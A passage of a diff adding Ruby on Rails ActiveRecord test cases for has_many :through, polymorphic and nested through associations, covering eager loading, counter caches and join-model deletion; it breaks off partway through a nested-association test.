+ post.destroy
+ assert_equal old_count, Tagging.count
+ assert_equal 0, posts(:welcome).taggings.count
+ end
+
+ def test_delete_polymorphic_has_one_with_destroy
+ assert posts(:welcome).tagging
+ posts(:welcome).tagging.update_columns taggable_type: 'PostWithHasOneDestroy'
+ post = find_post_with_dependency(1, :has_one, :tagging, :destroy)
+
+ old_count = Tagging.count
+ post.destroy
+ assert_equal old_count-1, Tagging.count
+ assert_nil posts(:welcome).tagging(true)
+ end
+
+ def test_delete_polymorphic_has_one_with_nullify
+ assert posts(:welcome).tagging
+ posts(:welcome).tagging.update_columns taggable_type: 'PostWithHasOneNullify'
+ post = find_post_with_dependency(1, :has_one, :tagging, :nullify)
+
+ old_count = Tagging.count
+ post.destroy
+ assert_equal old_count, Tagging.count
+ assert_nil posts(:welcome).tagging(true)
+ end
+
+ def test_has_many_with_piggyback
+ assert_equal "2", categories(:sti_test).authors_with_select.first.post_id.to_s
+ end
+
+ def test_create_through_has_many_with_piggyback
+ category = categories(:sti_test)
+ ernie = category.authors_with_select.create(:name => 'Ernie')
+ assert_nothing_raised do
+ assert_equal ernie, category.authors_with_select.detect {|a| a.name == 'Ernie'}
+ end
+ end
+
+ def test_include_has_many_through
+ posts = Post.all.merge!(:order => 'posts.id').to_a
+ posts_with_authors = Post.all.merge!(:includes => :authors, :order => 'posts.id').to_a
+ assert_equal posts.length, posts_with_authors.length
+ posts.length.times do |i|
+ assert_equal posts[i].authors.length, assert_no_queries { posts_with_authors[i].authors.length }
+ end
+ end
+
+ def test_include_polymorphic_has_one
+ post = Post.includes(:tagging).find posts(:welcome).id
+ tagging = taggings(:welcome_general)
+ assert_no_queries do
+ assert_equal tagging, post.tagging
+ end
+ end
+
+ def test_include_polymorphic_has_one_defined_in_abstract_parent
+ item = Item.includes(:tagging).find items(:dvd).id
+ tagging = taggings(:godfather)
+ assert_no_queries do
+ assert_equal tagging, item.tagging
+ end
+ end
+
+ def test_include_polymorphic_has_many_through
+ posts = Post.all.merge!(:order => 'posts.id').to_a
+ posts_with_tags = Post.all.merge!(:includes => :tags, :order => 'posts.id').to_a
+ assert_equal posts.length, posts_with_tags.length
+ posts.length.times do |i|
+ assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
+ end
+ end
+
+ def test_include_polymorphic_has_many
+ posts = Post.all.merge!(:order => 'posts.id').to_a
+ posts_with_taggings = Post.all.merge!(:includes => :taggings, :order => 'posts.id').to_a
+ assert_equal posts.length, posts_with_taggings.length
+ posts.length.times do |i|
+ assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
+ end
+ end
+
+ def test_has_many_find_all
+ assert_equal [categories(:general)], authors(:david).categories.to_a
+ end
+
+ def test_has_many_find_first
+ assert_equal categories(:general), authors(:david).categories.first
+ end
+
+ def test_has_many_with_hash_conditions
+ assert_equal categories(:general), authors(:david).categories_like_general.first
+ end
+
+ def test_has_many_find_conditions
+ assert_equal categories(:general), authors(:david).categories.where("categories.name = 'General'").first
+ assert_nil authors(:david).categories.where("categories.name = 'Technology'").first
+ end
+
+ def test_has_many_array_methods_called_by_method_missing
+ assert authors(:david).categories.any? { |category| category.name == 'General' }
+ assert_nothing_raised { authors(:david).categories.sort }
+ end
+
+ def test_has_many_going_through_join_model_with_custom_foreign_key
+ assert_equal [authors(:bob)], posts(:thinking).authors
+ assert_equal [authors(:mary)], posts(:authorless).authors
+ end
+
+ def test_has_many_going_through_join_model_with_custom_primary_key
+ assert_equal [authors(:david)], posts(:thinking).authors_using_author_id
+ end
+
+ def test_has_many_going_through_polymorphic_join_model_with_custom_primary_key
+ assert_equal [tags(:general)], posts(:eager_other).tags_using_author_id
+ end
+
+ def test_has_many_through_with_custom_primary_key_on_belongs_to_source
+ assert_equal [authors(:david), authors(:david)], posts(:thinking).author_using_custom_pk
+ end
+
+ def test_has_many_through_with_custom_primary_key_on_has_many_source
+ assert_equal [authors(:david), authors(:bob)], posts(:thinking).authors_using_custom_pk.order('authors.id')
+ end
+
+ def test_belongs_to_polymorphic_with_counter_cache
+ assert_equal 1, posts(:welcome)[:taggings_count]
+ tagging = posts(:welcome).taggings.create(:tag => tags(:general))
+ assert_equal 2, posts(:welcome, :reload)[:taggings_count]
+ tagging.destroy
+ assert_equal 1, posts(:welcome, :reload)[:taggings_count]
+ end
+
+ def test_unavailable_through_reflection
+ assert_raise(ActiveRecord::HasManyThroughAssociationNotFoundError) { authors(:david).nothings }
+ end
+
+ def test_has_many_through_join_model_with_conditions
+ assert_equal [], posts(:welcome).invalid_taggings
+ assert_equal [], posts(:welcome).invalid_tags
+ end
+
+ def test_has_many_polymorphic
+ assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicSourceError do
+ tags(:general).taggables
+ end
+
+ assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicThroughError do
+ taggings(:welcome_general).things
+ end
+
+ assert_raise ActiveRecord::EagerLoadPolymorphicError do
+ tags(:general).taggings.includes(:taggable).where('bogus_table.column = 1').references(:bogus_table).to_a
+ end
+ end
+
+ def test_has_many_polymorphic_with_source_type
+ # added sort by ID as otherwise Oracle select sometimes returned rows in different order
+ assert_equal posts(:welcome, :thinking).sort_by(&:id), tags(:general).tagged_posts.sort_by(&:id)
+ end
+
+ def test_eager_has_many_polymorphic_with_source_type
+ tag_with_include = Tag.all.merge!(:includes => :tagged_posts).find(tags(:general).id)
+ desired = posts(:welcome, :thinking)
+ assert_no_queries do
+ # added sort by ID as otherwise test using JRuby was failing as array elements were in different order
+ assert_equal desired.sort_by(&:id), tag_with_include.tagged_posts.sort_by(&:id)
+ end
+ assert_equal 5, tag_with_include.taggings.length
+ end
+
+ def test_has_many_through_has_many_find_all
+ assert_equal comments(:greetings), authors(:david).comments.order('comments.id').to_a.first
+ end
+
+ def test_has_many_through_has_many_find_all_with_custom_class
+ assert_equal comments(:greetings), authors(:david).funky_comments.order('comments.id').to_a.first
+ end
+
+ def test_has_many_through_has_many_find_first
+ assert_equal comments(:greetings), authors(:david).comments.order('comments.id').first
+ end
+
+ def test_has_many_through_has_many_find_conditions
+ options = { :where => "comments.#{QUOTED_TYPE}='SpecialComment'", :order => 'comments.id' }
+ assert_equal comments(:does_it_hurt), authors(:david).comments.merge(options).first
+ end
+
+ def test_has_many_through_has_many_find_by_id
+ assert_equal comments(:more_greetings), authors(:david).comments.find(2)
+ end
+
+ def test_has_many_through_polymorphic_has_one
+ assert_equal Tagging.find(1,2).sort_by { |t| t.id }, authors(:david).taggings_2
+ end
+
+ def test_has_many_through_polymorphic_has_many
+ assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.distinct.sort_by { |t| t.id }
+ end
+
+ def test_include_has_many_through_polymorphic_has_many
+ author = Author.includes(:taggings).find authors(:david).id
+ expected_taggings = taggings(:welcome_general, :thinking_general)
+ assert_no_queries do
+ assert_equal expected_taggings, author.taggings.distinct.sort_by { |t| t.id }
+ end
+ end
+
+ def test_eager_load_has_many_through_has_many
+ author = Author.all.merge!(:where => ['name = ?', 'David'], :includes => :comments, :order => 'comments.id').first
+ SpecialComment.new; VerySpecialComment.new
+ assert_no_queries do
+ assert_equal [1,2,3,5,6,7,8,9,10,12], author.comments.collect(&:id)
+ end
+ end
+
+ def test_eager_load_has_many_through_has_many_with_conditions
+ post = Post.all.merge!(:includes => :invalid_tags).first
+ assert_no_queries do
+ post.invalid_tags
+ end
+ end
+
+ def test_eager_belongs_to_and_has_one_not_singularized
+ assert_nothing_raised do
+ Author.all.merge!(:includes => :author_address).first
+ AuthorAddress.all.merge!(:includes => :author).first
+ end
+ end
+
+ def test_self_referential_has_many_through
+ assert_equal [authors(:mary)], authors(:david).favorite_authors
+ assert_equal [], authors(:mary).favorite_authors
+ end
+
+ def test_add_to_self_referential_has_many_through
+ new_author = Author.create(:name => "Bob")
+ authors(:david).author_favorites.create :favorite_author => new_author
+ assert_equal new_author, authors(:david).reload.favorite_authors.first
+ end
+
+ def test_has_many_through_uses_conditions_specified_on_the_has_many_association
+ author = Author.first
+ assert author.comments.present?
+ assert author.nonexistant_comments.blank?
+ end
+
+ def test_has_many_through_uses_correct_attributes
+ assert_nil posts(:thinking).tags.find_by_name("General").attributes["tag_id"]
+ end
+
+ def test_associating_unsaved_records_with_has_many_through
+ saved_post = posts(:thinking)
+ new_tag = Tag.new(:name => "new")
+
+ saved_post.tags << new_tag
+ assert new_tag.persisted? #consistent with habtm!
+ assert saved_post.persisted?
+ assert saved_post.tags.include?(new_tag)
+
+ assert new_tag.persisted?
+ assert saved_post.reload.tags(true).include?(new_tag)
+
+
+ new_post = Post.new(:title => "Association replacement works!", :body => "You best believe it.")
+ saved_tag = tags(:general)
+
+ new_post.tags << saved_tag
+ assert !new_post.persisted?
+ assert saved_tag.persisted?
+ assert new_post.tags.include?(saved_tag)
+
+ new_post.save!
+ assert new_post.persisted?
+ assert new_post.reload.tags(true).include?(saved_tag)
+
+ assert !posts(:thinking).tags.build.persisted?
+ assert !posts(:thinking).tags.new.persisted?
+ end
+
+ def test_create_associate_when_adding_to_has_many_through
+ count = posts(:thinking).tags.count
+ push = Tag.create!(:name => 'pushme')
+ post_thinking = posts(:thinking)
+ assert_nothing_raised { post_thinking.tags << push }
+ assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
+ message = "Expected a Tag in tags collection, got #{wrong.class}.")
+ assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+ message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+ assert_equal(count + 1, post_thinking.tags.size)
+ assert_equal(count + 1, post_thinking.tags(true).size)
+
+ assert_kind_of Tag, post_thinking.tags.create!(:name => 'foo')
+ assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
+ message = "Expected a Tag in tags collection, got #{wrong.class}.")
+ assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+ message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+ assert_equal(count + 2, post_thinking.tags.size)
+ assert_equal(count + 2, post_thinking.tags(true).size)
+
+ assert_nothing_raised { post_thinking.tags.concat(Tag.create!(:name => 'abc'), Tag.create!(:name => 'def')) }
+ assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
+ message = "Expected a Tag in tags collection, got #{wrong.class}.")
+ assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
+ message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
+ assert_equal(count + 4, post_thinking.tags.size)
+ assert_equal(count + 4, post_thinking.tags(true).size)
+
+ # Raises if the wrong reflection name is used to set the Edge belongs_to
+ assert_nothing_raised { vertices(:vertex_1).sinks << vertices(:vertex_5) }
+ end
+
+ def test_add_to_join_table_with_no_id
+ assert_nothing_raised { vertices(:vertex_1).sinks << vertices(:vertex_5) }
+ end
+
+ def test_has_many_through_collection_size_doesnt_load_target_if_not_loaded
+ author = authors(:david)
+ assert_equal 10, author.comments.size
+ assert !author.comments.loaded?
+ end
+
+ def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
+ c = categories(:general)
+ c.categorizations_count = 100
+ assert_equal 100, c.categorizations.size
+ assert !c.categorizations.loaded?
+ end
+
+ def test_adding_junk_to_has_many_through_should_raise_type_mismatch
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags << "Uhh what now?" }
+ end
+
+ def test_adding_to_has_many_through_should_return_self
+ tags = posts(:thinking).tags
+ assert_equal tags, posts(:thinking).tags.push(tags(:general))
+ end
+
+ def test_delete_associate_when_deleting_from_has_many_through_with_nonstandard_id
+ count = books(:awdr).references.count
+ references_before = books(:awdr).references
+ book = Book.create!(:name => 'Getting Real')
+ book_awdr = books(:awdr)
+ book_awdr.references << book
+ assert_equal(count + 1, book_awdr.references(true).size)
+
+ assert_nothing_raised { book_awdr.references.delete(book) }
+ assert_equal(count, book_awdr.references.size)
+ assert_equal(count, book_awdr.references(true).size)
+ assert_equal(references_before.sort, book_awdr.references.sort)
+ end
+
+ def test_delete_associate_when_deleting_from_has_many_through
+ count = posts(:thinking).tags.count
+ tags_before = posts(:thinking).tags
+ tag = Tag.create!(:name => 'doomed')
+ post_thinking = posts(:thinking)
+ post_thinking.tags << tag
+ assert_equal(count + 1, post_thinking.taggings(true).size)
+ assert_equal(count + 1, post_thinking.tags(true).size)
+
+ assert_nothing_raised { post_thinking.tags.delete(tag) }
+ assert_equal(count, post_thinking.tags.size)
+ assert_equal(count, post_thinking.tags(true).size)
+ assert_equal(count, post_thinking.taggings(true).size)
+ assert_equal(tags_before.sort, post_thinking.tags.sort)
+ end
+
+ def test_delete_associate_when_deleting_from_has_many_through_with_multiple_tags
+ count = posts(:thinking).tags.count
+ tags_before = posts(:thinking).tags
+ doomed = Tag.create!(:name => 'doomed')
+ doomed2 = Tag.create!(:name => 'doomed2')
+ quaked = Tag.create!(:name => 'quaked')
+ post_thinking = posts(:thinking)
+ post_thinking.tags << doomed << doomed2
+ assert_equal(count + 2, post_thinking.tags(true).size)
+
+ assert_nothing_raised { post_thinking.tags.delete(doomed, doomed2, quaked) }
+ assert_equal(count, post_thinking.tags.size)
+ assert_equal(count, post_thinking.tags(true).size)
+ assert_equal(tags_before.sort, post_thinking.tags.sort)
+ end
+
+ def test_deleting_junk_from_has_many_through_should_raise_type_mismatch
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags.delete(Object.new) }
+ end
+
+ def test_deleting_by_fixnum_id_from_has_many_through
+ post = posts(:thinking)
+
+ assert_difference 'post.tags.count', -1 do
+ assert_equal 1, post.tags.delete(1).size
+ end
+
+ assert_equal 0, post.tags.size
+ end
+
+ def test_deleting_by_string_id_from_has_many_through
+ post = posts(:thinking)
+
+ assert_difference 'post.tags.count', -1 do
+ assert_equal 1, post.tags.delete('1').size
+ end
+
+ assert_equal 0, post.tags.size
+ end
+
+ def test_has_many_through_sum_uses_calculations
+ assert_nothing_raised { authors(:david).comments.sum(:post_id) }
+ end
+
+ def test_calculations_on_has_many_through_should_disambiguate_fields
+ assert_nothing_raised { authors(:david).categories.maximum(:id) }
+ end
+
+ def test_calculations_on_has_many_through_should_not_disambiguate_fields_unless_necessary
+ assert_nothing_raised { authors(:david).categories.maximum("categories.id") }
+ end
+
+ def test_has_many_through_has_many_with_sti
+ assert_equal [comments(:does_it_hurt)], authors(:david).special_post_comments
+ end
+
+ def test_uniq_has_many_through_should_retain_order
+ comment_ids = authors(:david).comments.map(&:id)
+ assert_equal comment_ids.sort, authors(:david).ordered_uniq_comments.map(&:id)
+ assert_equal comment_ids.sort.reverse, authors(:david).ordered_uniq_comments_desc.map(&:id)
+ end
+
+ def test_polymorphic_has_many
+ expected = taggings(:welcome_general)
+ p = Post.all.merge!(:includes => :taggings).find(posts(:welcome).id)
+ assert_no_queries {assert p.taggings.include?(expected)}
+ assert posts(:welcome).taggings.include?(taggings(:welcome_general))
+ end
+
+ def test_polymorphic_has_one
+ expected = posts(:welcome)
+
+ tagging = Tagging.all.merge!(:includes => :taggable).find(taggings(:welcome_general).id)
+ assert_no_queries { assert_equal expected, tagging.taggable}
+ end
+
+ def test_polymorphic_belongs_to
+ p = Post.all.merge!(:includes => {:taggings => :taggable}).find(posts(:welcome).id)
+ assert_no_queries {assert_equal posts(:welcome), p.taggings.first.taggable}
+ end
+
+ def test_preload_polymorphic_has_many_through
+ posts = Post.all.merge!(:order => 'posts.id').to_a
+ posts_with_tags = Post.all.merge!(:includes => :tags, :order => 'posts.id').to_a
+ assert_equal posts.length, posts_with_tags.length
+ posts.length.times do |i|
+ assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
+ end
+ end
+
+ def test_preload_polymorph_many_types
+ taggings = Tagging.all.merge!(:includes => :taggable, :where => ['taggable_type != ?', 'FakeModel']).to_a
+ assert_no_queries do
+ taggings.first.taggable.id
+ taggings[1].taggable.id
+ end
+
+ taggables = taggings.map(&:taggable)
+ assert taggables.include?(items(:dvd))
+ assert taggables.include?(posts(:welcome))
+ end
+
+ def test_preload_nil_polymorphic_belongs_to
+ assert_nothing_raised do
+ Tagging.all.merge!(:includes => :taggable, :where => ['taggable_type IS NULL']).to_a
+ end
+ end
+
+ def test_preload_polymorphic_has_many
+ posts = Post.all.merge!(:order => 'posts.id').to_a
+ posts_with_taggings = Post.all.merge!(:includes => :taggings, :order => 'posts.id').to_a
+ assert_equal posts.length, posts_with_taggings.length
+ posts.length.times do |i|
+ assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
+ end
+ end
+
+ def test_belongs_to_shared_parent
+ comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 1').to_a
+ assert_no_queries do
+ assert_equal comments.first.post, comments[1].post
+ end
+ end
+
+ def test_has_many_through_include_uses_array_include_after_loaded
+ david = authors(:david)
+ david.categories.load_target
+
+ category = david.categories.first
+
+ assert_no_queries do
+ assert david.categories.loaded?
+ assert david.categories.include?(category)
+ end
+ end
+
+ def test_has_many_through_include_checks_if_record_exists_if_target_not_loaded
+ david = authors(:david)
+ category = david.categories.first
+
+ david.reload
+ assert ! david.categories.loaded?
+ assert_queries(1) do
+ assert david.categories.include?(category)
+ end
+ assert ! david.categories.loaded?
+ end
+
+ def test_has_many_through_include_returns_false_for_non_matching_record_to_verify_scoping
+ david = authors(:david)
+ category = Category.create!(:name => 'Not Associated')
+
+ assert ! david.categories.loaded?
+ assert ! david.categories.include?(category)
+ end
+
+ def test_has_many_through_goes_through_all_sti_classes
+ sub_sti_post = SubStiPost.create!(:title => 'test', :body => 'test', :author_id => 1)
+ new_comment = sub_sti_post.comments.create(:body => 'test')
+
+ assert_equal [9, 10, new_comment.id], authors(:david).sti_post_comments.map(&:id).sort
+ end
+
+ def test_has_many_with_pluralize_table_names_false
+ aircraft = Aircraft.create!(:name => "Airbus 380")
+ engine = Engine.create!(:car_id => aircraft.id)
+ assert_equal aircraft.engines, [engine]
+ end
+
+ private
+ # create dynamic Post models to allow different dependency options
+ def find_post_with_dependency(post_id, association, association_name, dependency)
+ class_name = "PostWith#{association.to_s.classify}#{dependency.to_s.classify}"
+ Post.find(post_id).update_columns type: class_name
+ klass = Object.const_set(class_name, Class.new(ActiveRecord::Base))
+ klass.table_name = 'posts'
+ klass.send(association, association_name, :as => :taggable, :dependent => dependency)
+ klass.find(post_id)
+ end
+end
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
new file mode 100644
index 0000000..e75d43b
--- /dev/null
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
@@ -0,0 +1,575 @@
+require "cases/helper"
+require 'models/author'
+require 'models/post'
+require 'models/person'
+require 'models/reference'
+require 'models/job'
+require 'models/reader'
+require 'models/comment'
+require 'models/tag'
+require 'models/tagging'
+require 'models/subscriber'
+require 'models/book'
+require 'models/subscription'
+require 'models/rating'
+require 'models/member'
+require 'models/member_detail'
+require 'models/member_type'
+require 'models/sponsor'
+require 'models/club'
+require 'models/organization'
+require 'models/category'
+require 'models/categorization'
+require 'models/membership'
+require 'models/essay'
+
+class NestedThroughAssociationsTest < ActiveRecord::TestCase
+ fixtures :authors, :books, :posts, :subscriptions, :subscribers, :tags, :taggings,
+ :people, :readers, :references, :jobs, :ratings, :comments, :members, :member_details,
+ :member_types, :sponsors, :clubs, :organizations, :categories, :categories_posts,
+ :categorizations, :memberships, :essays
+
+ # Through associations can either use the has_many or has_one macros.
+ #
+ # has_many
+ # - Source reflection can be has_many, has_one, belongs_to or has_and_belongs_to_many
+ # - Through reflection can be has_many, has_one, belongs_to or has_and_belongs_to_many
+ #
+ # has_one
+ # - Source reflection can be has_one or belongs_to
+ # - Through reflection can be has_one or belongs_to
+ #
+ # Additionally, the source reflection and/or through reflection may be subject to
+ # polymorphism and/or STI.
+ #
+ # When testing these, we need to make sure it works via loading the association directly, or
+ # joining the association, or including the association. We also need to ensure that associations
+ # are readonly where relevant.
+
+ # has_many through
+ # Source: has_many through
+ # Through: has_many
+ def test_has_many_through_has_many_with_has_many_through_source_reflection
+ general = tags(:general)
+ assert_equal [general, general], authors(:david).tags
+ end
+
+ def test_has_many_through_has_many_with_has_many_through_source_reflection_preload
+ authors = assert_queries(5) { Author.includes(:tags).to_a }
+ general = tags(:general)
+
+ assert_no_queries do
+ assert_equal [general, general], authors.first.tags
+ end
+ end
+
+ def test_has_many_through_has_many_with_has_many_through_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Author.where('tags.id' => tags(:general).id),
+ [authors(:david)], :tags
+ )
+
+ # This ensures that the polymorphism of taggings is being observed correctly
+ authors = Author.joins(:tags).where('taggings.taggable_type' => 'FakeModel')
+ assert authors.empty?
+ end
+
+ # has_many through
+ # Source: has_many
+ # Through: has_many through
+ def test_has_many_through_has_many_through_with_has_many_source_reflection
+ luke, david = subscribers(:first), subscribers(:second)
+ assert_equal [luke, david, david], authors(:david).subscribers.order('subscribers.nick')
+ end
+
+ def test_has_many_through_has_many_through_with_has_many_source_reflection_preload
+ luke, david = subscribers(:first), subscribers(:second)
+ authors = assert_queries(4) { Author.includes(:subscribers).to_a }
+ assert_no_queries do
+ assert_equal [luke, david, david], authors.first.subscribers.sort_by(&:nick)
+ end
+ end
+
+ def test_has_many_through_has_many_through_with_has_many_source_reflection_preload_via_joins
+ # All authors with subscribers where one of the subscribers' nick is 'alterself'
+ assert_includes_and_joins_equal(
+ Author.where('subscribers.nick' => 'alterself'),
+ [authors(:david)], :subscribers
+ )
+ end
+
+ # has_many through
+ # Source: has_one through
+ # Through: has_one
+ def test_has_many_through_has_one_with_has_one_through_source_reflection
+ assert_equal [member_types(:founding)], members(:groucho).nested_member_types
+ end
+
+ def test_has_many_through_has_one_with_has_one_through_source_reflection_preload
+ members = assert_queries(4) { Member.includes(:nested_member_types).to_a }
+ founding = member_types(:founding)
+ assert_no_queries do
+ assert_equal [founding], members.first.nested_member_types
+ end
+ end
+
+ def test_has_many_through_has_one_with_has_one_through_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Member.where('member_types.id' => member_types(:founding).id),
+ [members(:groucho)], :nested_member_types
+ )
+ end
+
+ # has_many through
+ # Source: has_one
+ # Through: has_one through
+ def test_has_many_through_has_one_through_with_has_one_source_reflection
+ assert_equal [sponsors(:moustache_club_sponsor_for_groucho)], members(:groucho).nested_sponsors
+ end
+
+ def test_has_many_through_has_one_through_with_has_one_source_reflection_preload
+ members = assert_queries(4) { Member.includes(:nested_sponsors).to_a }
+ mustache = sponsors(:moustache_club_sponsor_for_groucho)
+ assert_no_queries do
+ assert_equal [mustache], members.first.nested_sponsors
+ end
+ end
+
+ def test_has_many_through_has_one_through_with_has_one_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Member.where('sponsors.id' => sponsors(:moustache_club_sponsor_for_groucho).id),
+ [members(:groucho)], :nested_sponsors
+ )
+ end
+
+ # has_many through
+ # Source: has_many through
+ # Through: has_one
+ def test_has_many_through_has_one_with_has_many_through_source_reflection
+ groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
+
+ assert_equal [groucho_details, other_details],
+ members(:groucho).organization_member_details.order('member_details.id')
+ end
+
+ def test_has_many_through_has_one_with_has_many_through_source_reflection_preload
+ members = assert_queries(4) { Member.includes(:organization_member_details).to_a.sort_by(&:id) }
+ groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
+
+ assert_no_queries do
+ assert_equal [groucho_details, other_details], members.first.organization_member_details.sort_by(&:id)
+ end
+ end
+
+ def test_has_many_through_has_one_with_has_many_through_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Member.where('member_details.id' => member_details(:groucho).id).order('member_details.id'),
+ [members(:groucho), members(:some_other_guy)], :organization_member_details
+ )
+
+ members = Member.joins(:organization_member_details).
+ where('member_details.id' => 9)
+ assert members.empty?
+ end
+
+ # has_many through
+ # Source: has_many
+ # Through: has_one through
+ def test_has_many_through_has_one_through_with_has_many_source_reflection
+ groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
+
+ assert_equal [groucho_details, other_details],
+ members(:groucho).organization_member_details_2.order('member_details.id')
+ end
+
+ def test_has_many_through_has_one_through_with_has_many_source_reflection_preload
+ members = assert_queries(4) { Member.includes(:organization_member_details_2).to_a.sort_by(&:id) }
+ groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
+
+ assert_no_queries do
+ assert_equal [groucho_details, other_details], members.first.organization_member_details_2.sort_by(&:id)
+ end
+ end
+
+ def test_has_many_through_has_one_through_with_has_many_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Member.where('member_details.id' => member_details(:groucho).id).order('member_details.id'),
+ [members(:groucho), members(:some_other_guy)], :organization_member_details_2
+ )
+
+ members = Member.joins(:organization_member_details_2).
+ where('member_details.id' => 9)
+ assert members.empty?
+ end
+
+ # has_many through
+ # Source: has_and_belongs_to_many
+ # Through: has_many
+ def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection
+ general, cooking = categories(:general), categories(:cooking)
+
+ assert_equal [general, cooking], authors(:bob).post_categories.order('categories.id')
+ end
+
+ def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload
+ authors = assert_queries(3) { Author.includes(:post_categories).to_a.sort_by(&:id) }
+ general, cooking = categories(:general), categories(:cooking)
+
+ assert_no_queries do
+ assert_equal [general, cooking], authors[2].post_categories.sort_by(&:id)
+ end
+ end
+
+ def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload_via_joins
+ # preload table schemas
+ Author.joins(:post_categories).first
+
+ assert_includes_and_joins_equal(
+ Author.where('categories.id' => categories(:cooking).id),
+ [authors(:bob)], :post_categories
+ )
+ end
+
+ # has_many through
+ # Source: has_many
+ # Through: has_and_belongs_to_many
+ def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection
+ greetings, more = comments(:greetings), comments(:more_greetings)
+
+ assert_equal [greetings, more], categories(:technology).post_comments.order('comments.id')
+ end
+
+ def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload
+ categories = assert_queries(3) { Category.includes(:post_comments).to_a.sort_by(&:id) }
+ greetings, more = comments(:greetings), comments(:more_greetings)
+
+ assert_no_queries do
+ assert_equal [greetings, more], categories[1].post_comments.sort_by(&:id)
+ end
+ end
+
+ def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload_via_joins
+ # preload table schemas
+ Category.joins(:post_comments).first
+
+ assert_includes_and_joins_equal(
+ Category.where('comments.id' => comments(:more_greetings).id).order('categories.id'),
+ [categories(:general), categories(:technology)], :post_comments
+ )
+ end
+
+ # has_many through
+ # Source: has_many through a habtm
+ # Through: has_many through
+ def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection
+ greetings, more = comments(:greetings), comments(:more_greetings)
+
+ assert_equal [greetings, more], authors(:bob).category_post_comments.order('comments.id')
+ end
+
+ def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload
+ authors = assert_queries(5) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
+ greetings, more = comments(:greetings), comments(:more_greetings)
+
+ assert_no_queries do
+ assert_equal [greetings, more], authors[2].category_post_comments.sort_by(&:id)
+ end
+ end
+
+ def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload_via_joins
+ # preload table schemas
+ Author.joins(:category_post_comments).first
+
+ assert_includes_and_joins_equal(
+ Author.where('comments.id' => comments(:does_it_hurt).id).order('authors.id'),
+ [authors(:david), authors(:mary)], :category_post_comments
+ )
+ end
+
+ # has_many through
+ # Source: belongs_to
+ # Through: has_many through
+ def test_has_many_through_has_many_through_with_belongs_to_source_reflection
+ assert_equal [tags(:general), tags(:general)], authors(:david).tagging_tags
+ end
+
+ def test_has_many_through_has_many_through_with_belongs_to_source_reflection_preload
+ authors = assert_queries(5) { Author.includes(:tagging_tags).to_a }
+ general = tags(:general)
+
+ assert_no_queries do
+ assert_equal [general, general], authors.first.tagging_tags
+ end
+ end
+
+ def test_has_many_through_has_many_through_with_belongs_to_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Author.where('tags.id' => tags(:general).id),
+ [authors(:david)], :tagging_tags
+ )
+ end
+
+ # has_many through
+ # Source: has_many through
+ # Through: belongs_to
+ def test_has_many_through_belongs_to_with_has_many_through_source_reflection
+ welcome_general, thinking_general = taggings(:welcome_general), taggings(:thinking_general)
+
+ assert_equal [welcome_general, thinking_general],
+ categorizations(:david_welcome_general).post_taggings.order('taggings.id')
+ end
+
+ def test_has_many_through_belongs_to_with_has_many_through_source_reflection_preload
+ categorizations = assert_queries(4) { Categorization.includes(:post_taggings).to_a.sort_by(&:id) }
+ welcome_general, thinking_general = taggings(:welcome_general), taggings(:thinking_general)
+
+ assert_no_queries do
+ assert_equal [welcome_general, thinking_general], categorizations.first.post_taggings.sort_by(&:id)
+ end
+ end
+
+ def test_has_many_through_belongs_to_with_has_many_through_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Categorization.where('taggings.id' => taggings(:welcome_general).id).order('taggings.id'),
+ [categorizations(:david_welcome_general)], :post_taggings
+ )
+ end
+
+ # has_one through
+ # Source: has_one through
+ # Through: has_one
+ def test_has_one_through_has_one_with_has_one_through_source_reflection
+ assert_equal member_types(:founding), members(:groucho).nested_member_type
+ end
+
+ def test_has_one_through_has_one_with_has_one_through_source_reflection_preload
+ members = assert_queries(4) { Member.includes(:nested_member_type).to_a.sort_by(&:id) }
+ founding = member_types(:founding)
+
+ assert_no_queries do
+ assert_equal founding, members.first.nested_member_type
+ end
+ end
+
+ def test_has_one_through_has_one_with_has_one_through_source_reflection_preload_via_joins
+ assert_includes_and_joins_equal(
+ Member.where('member_types.id' => member_types(:founding).id),
